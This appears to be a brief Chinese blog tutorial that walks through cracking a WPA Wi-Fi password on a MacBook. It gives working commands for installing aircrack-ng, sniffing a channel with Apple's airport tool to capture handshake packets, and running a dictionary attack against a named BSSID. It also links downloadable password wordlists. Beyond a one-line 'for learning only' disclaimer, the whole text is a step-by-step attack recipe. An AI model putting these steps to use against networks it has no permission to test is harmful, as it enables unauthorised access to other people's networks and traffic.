文本仅供学习交流。

我使用的系统是macbook pro 15：

安装aircrack-ng

使用homebrew安装，命令：

brew install aircrack-ng

抓包－抓取带密码的握手包

macbook自带了一个wifi工具：airport。

sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport

首先，断开wifi：

查看周围的wifi：

$ /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s

查看本机的无线网卡设备：

$ ifconfig

抓包：

airport可以使用网卡的监听模式抓取周围的无线网络数据包。其中，对我们最重要的数据包是：包含密码的包－也叫握手包。当有新用户或断开用户自动连接wifi时，会发送握手包。有一种攻击方式是reinjecting packet，它可以强制无线路由器重启，这样当用户自动连接时可以获得握手包。

$ sudo /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport en0 sniff 6

en0是无线网卡设备；6是要破解wifi的CHANNEL。

静等用户连接wifi，获得握手包。

抓的包，保存在/tmp：

破解wifi密码

获得握手包之后，我们还需要破解加密的密码。

好的密码字典一个，应包含常见的弱密码、手机号、姓名生日组合、各大网站泄露的密码、英语单词等等。如果使用字典破解不了，说明密码还算复杂；暴力穷举更是费时费力。（论复杂密码的重要性）。

$ sudo aircrack-ng -w password.txt -b c8:3a:35:30:3e:c8 /tmp/*.cap

-w：指定字典文件；－b：指定要破解的wifi BSSID。

破解过程：

我使用的密码字典：
http://pan.baidu.com/s/1clxaCA (全，未压缩15G)

http://pan.baidu.com/s/1o7MCcHk (简，未压缩680M)